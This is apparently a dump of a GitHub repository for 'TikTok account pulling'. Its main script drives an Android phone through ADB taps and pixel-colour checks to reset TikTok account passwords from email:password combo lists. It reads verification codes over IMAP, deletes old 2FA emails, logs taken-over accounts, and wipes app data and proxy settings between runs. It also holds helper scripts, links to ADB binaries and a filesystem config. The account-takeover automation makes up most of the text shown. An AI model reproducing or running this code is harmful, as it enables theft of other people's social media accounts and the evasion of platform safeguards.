print(f"{CNEUTRAL}Deleting {len(msgnums[0].split())} old 2FA codes from inbox...") 158 | imap.select("Junk") 159 | _, msgnums = imap.search(None, 'SUBJECT "is your verification code"') 160 | if msgnums[0].split(): 161 | for msgnum in msgnums[0].split(): 162 | imap.store(msgnum, "+FLAGS", "\\Deleted") 163 | imap.expunge() 164 | print(f"{CNEUTRAL}Deleting {len(msgnums[0].split())} old 2FA codes from junk...") 165 | except: 166 | print(f"{CWARNING}[WARNING] IMAP couldn't select at try [{i+1}], retrying...") 167 | sleep(2) 168 | else: 169 | selecting_worked = True 170 | break 171 | if selecting_worked == False: 172 | print(f"{CERROR}[ERROR] IMAP couldn't select {email_address}, saving and moving on...") 173 | with open(f"{combo_name}-failed.txt", "a+") as file: 174 | file.write(f'{email_address}:{password}\n') 175 | failed += 1 176 | completed += 1 177 | break 178 | 179 | while True: 180 | if getPixelColor(1008, 135) == "8a8b91": 181 | device.shell("input tap 1008 135") 182 | waitForPixel(515, 2036, "fe2c55", 10) 183 | device.shell("input tap 515 2036") 184 | waitForPixel(971, 2120, "bfbfbf", 10) 185 | break 186 | elif getPixelColor(971, 2120) == "bfbfbf": 187 | break 188 | 189 | device.shell("input tap 971 2120") 190 | if waitForPixel(550, 1120, "fe2c55", 10) == False: 191 | print(f"{CWARNING}[WARNING] Wait for pixel timeout 1, retrying...") 192 | continue 193 | device.shell("input tap 550 1120") 194 | if waitForPixel(729, 2126, "fe2c55", 10) == False: 195 | print(f"{CWARNING}[WARNING] Wait for pixel timeout 2, retrying...") 196 | continue 197 | device.shell("input tap 729 2126") 198 | if waitForPixel(792, 802, "161823", 10) == False: 199 | print(f"{CWARNING}[WARNING] Wait for pixel timeout 3, retrying...") 200 | continue 201 | device.shell("input tap 792 802") 202 | if waitForPixel(490, 780, "04498d", 10) == False: 203 | print(f"{CWARNING}[WARNING] Wait for pixel timeout 4, retrying...") 204 | continue 205 | device.shell("input tap 490 780") 206 | if waitForPixel(930, 1360, "e2e3e3", 10) == False: 207 | print(f"{CWARNING}[WARNING] Wait for pixel timeout 5, retrying...") 208 | continue 209 | device.shell(f"input text {email_address}") 210 | sleep(0.1) 211 | device.shell("input tap 930 1360") 212 | code_sent = True 213 | if waitForPixel(930, 1360, "e2e3e3", 10) == False: 214 | print(f"{CWARNING}[WARNING] Wait for pixel timeout 6, retrying...") 215 | continue 216 | 217 | code_received = False 218 | for i in range(50): 219 | if i % 2 == 0: 220 | imap.select("Inbox") 221 | else: 222 | imap.select("Junk") 223 | _, msgnums = imap.search(None, 'SUBJECT "is your verification code"') 224 | if msgnums[0].split(): 225 | _, data = imap.fetch(msgnums[0].split()[-1], "(RFC822)") 226 | message = email.message_from_bytes(data[0][1]) 227 | code = message.get('Subject').split(" is your verification code")[0] 228 | code_received = True 229 | break 230 | else: 231 | sleep(0.5) 232 | if code_received == False: 233 | print(f"{CWARNING}[WARNING] Code receive timout, retrying later...") 234 | cleaned_combo.append(account) 235 | break 236 | else: 237 | print(f"{CNEUTRAL}2FA Code: {code}") 238 | 239 | device.shell(f"input text {code}") 240 | # Wait for code confirm button to be clickable 241 | if waitForPixel(920, 1350, "fe2d56", 10) == False: 242 | print(f"{CWARNING}[WARNING] Wait for pixel timeout 8, retrying...") 243 | continue 244 | device.shell("input tap 930 1360") 245 | # Wait for password confirm button to be gray so input can be made 246 | if waitForPixel(920, 1350, "e2e3e3", 10) == False: 247 | print(f"{CWARNING}[WARNING] Wait for pixel timeout 7, retrying...") 248 | continue 249 | device.shell(f"input text {password}") 250 | # Wait for password confirm button to be clickable 251 | if waitForPixel(920, 1350, "fe2d56", 10) == False: 252 | print(f"{CWARNING}[WARNING] Wait for pixel timeout 8, retrying...") 253 | continue 254 | 255 | stay_start_time = time() 256 | counter_start_time = 5 257 | 258 | while True: 259 | if (time() - counter_start_time) >= 5: 260 | device.shell("input tap 910 1350") 261 | counter_start_time = time() 262 | if (time() - stay_start_time) >= 30: 263 | print(f"{CWARNING}[WARNING] Password reset timeout, retrying later...") 264 | cleaned_combo.append(account) 265 | break 266 | # Check if account is suspended 267 | if getPixelColor(1000, 270) == "fe695a": 268 | print(f"{CERROR}[ERROR] {email_address} is currently suspended, saving and moving on...") 269 | suspended += 1 270 | completed += 1 271 | break 272 | # Check if successfully reset password by checking account icon 273 | account_icon = getPixelColor(970, 2120) 274 | if account_icon == "bfbfbf" or account_icon == "5f5f5f": 275 | with open(f"{combo_name}-reset.txt", "a+") as file: 276 | file.write(f'{email_address}:{password}\n') 277 | print(f"{CSUCCESS}[SUCCESS] Successfully reset password of {email_address} in {round((time() - reset_start_time), 2)} seconds!") 278 | reset += 1 279 | completed += 1 280 | break 281 | # Check if account deactivated, reactivate if so 282 | elif getPixelColor(1030, 2090) == "fe2c55": 283 | print(f"{CWARNING}[WARNING] Account deactivated, reactivating...") 284 | device.shell("input tap 800 2040") 285 | break 286 | 287 | # Clear app data, delete proxy, reboot 288 | device.shell(f"pm clear {package_name}") 289 | device.shell("settings delete global http_proxy") 290 | device.shell("settings delete global global_http_proxy_host") 291 | device.shell("settings delete global global_http_proxy_port") 292 | device.shell("settings delete global global_http_proxy_exclusion_list") 293 | device.shell("settings delete global global_proxy_pac_url") 294 | device.shell("reboot") 295 | queue = False 296 | input(f"{CSUCCESS}Successfully completed all tasks, press ENTER to close...") -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Some scripts related to an old TikTok pulling project (Outlook account creator, IMAP checker, TikTok account password resetter). 2 | -------------------------------------------------------------------------------- /data/adb/AdbWinApi.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/AdbWinApi.dll -------------------------------------------------------------------------------- /data/adb/AdbWinUsbApi.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/AdbWinUsbApi.dll -------------------------------------------------------------------------------- /data/adb/NOTICE.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/NOTICE.txt -------------------------------------------------------------------------------- /data/adb/adb.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/adb.exe -------------------------------------------------------------------------------- /data/adb/dmtracedump.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/dmtracedump.exe -------------------------------------------------------------------------------- /data/adb/etc1tool.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/etc1tool.exe -------------------------------------------------------------------------------- /data/adb/fastboot.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/fastboot.exe -------------------------------------------------------------------------------- /data/adb/hprof-conv.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/hprof-conv.exe -------------------------------------------------------------------------------- /data/adb/libwinpthread-1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/libwinpthread-1.dll -------------------------------------------------------------------------------- /data/adb/make_f2fs.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/make_f2fs.exe -------------------------------------------------------------------------------- /data/adb/make_f2fs_casefold.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/make_f2fs_casefold.exe -------------------------------------------------------------------------------- /data/adb/mke2fs.conf: -------------------------------------------------------------------------------- 1 | [defaults] 2 | base_features = sparse_super,large_file,filetype,dir_index,ext_attr 3 | default_mntopts = acl,user_xattr 4 | enable_periodic_fsck = 0 5 | blocksize = 4096 6 | inode_size = 256 7 | inode_ratio = 16384 8 | reserved_ratio = 1.0 9 | 10 | [fs_types] 11 | ext3 = { 12 | features = has_journal 13 | } 14 | ext4 = { 15 | features = has_journal,extent,huge_file,dir_nlink,extra_isize,uninit_bg 16 | inode_size = 256 17 | } 18 | ext4dev = { 19 | features = has_journal,extent,huge_file,flex_bg,inline_data,64bit,dir_nlink,extra_isize 20 | inode_size = 256 21 | options = test_fs=1 22 | } 23 | small = { 24 | blocksize = 1024 25 | inode_size = 128 26 | inode_ratio = 4096 27 | } 28 | floppy = { 29 | blocksize = 1024 30 | inode_size = 128 31 | inode_ratio = 8192 32 | } 33 | big = { 34 | inode_ratio = 32768 35 | } 36 | huge = { 37 | inode_ratio = 65536 38 | } 39 | news = { 40 | inode_ratio = 4096 41 | } 42 | largefile = { 43 | inode_ratio = 1048576 44 | blocksize = -1 45 | } 46 | largefile4 = { 47 | inode_ratio = 4194304 48 | blocksize = -1 49 | } 50 | hurd = { 51 | blocksize = 4096 52 | inode_size = 128 53 | } 54 | -------------------------------------------------------------------------------- /data/adb/mke2fs.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/mke2fs.exe -------------------------------------------------------------------------------- /data/adb/null: -------------------------------------------------------------------------------- 1 | * daemon not running; starting now at tcp:5037 2 | * daemon started successfully 3 | List of devices attached 4 | 7HKN6H6DRWJF5X75 device 5 | 6 | -------------------------------------------------------------------------------- /data/adb/source.properties: -------------------------------------------------------------------------------- 1 | Pkg.UserSrc=false 2 | Pkg.Revision=34.0.1 3 | -------------------------------------------------------------------------------- /data/adb/sqlite3.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/adb/sqlite3.exe -------------------------------------------------------------------------------- /data/chromedriver.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lynusdev/TikTok-Account-Pulling/0d77f11b8cfddc1c29865540d154936821cc5617/data/chromedriver.exe -------------------------------------------------------------------------------- /data/getHEXRGBA.py: -------------------------------------------------------------------------------- 1 | from ppadb.client import Client 2 | 3 | adb = Client(host="127.0.0.1", port=5037) 4 | device = adb.devices()[0] 5 | 6 | def getPixelColor(x, y): 7 | offset=1080*y+x+4 8 | cmd = f"dd if='/sdcard/screen.dump' bs=4 count=1 skip={offset} 2>/dev/null | xxd -p" 9 | device.shell("screencap /sdcard/screen.dump") 10 | out = device.shell(cmd) 11 | return str(out).strip()[:-2] 12 | 13 | x, y = 130, 430 14 | timeout = 10 15 | 16 | hex = getPixelColor(x, y) 17 | print(f'{hex}\nwaitForPixel({x}, {y}, "{hex}", {timeout})') -------------------------------------------------------------------------------- /data/getScreenshot.py: -------------------------------------------------------------------------------- 1 | from ppadb.client import Client 2 | 3 | adb = Client(host="127.0.0.1", port=5037) 4 | device = adb.devices()[0] 5 | 6 | result = device.screencap() 7 | with open("screen.png", "wb") as fp: 8 | fp.write(result) --------------------------------------------------------------------------------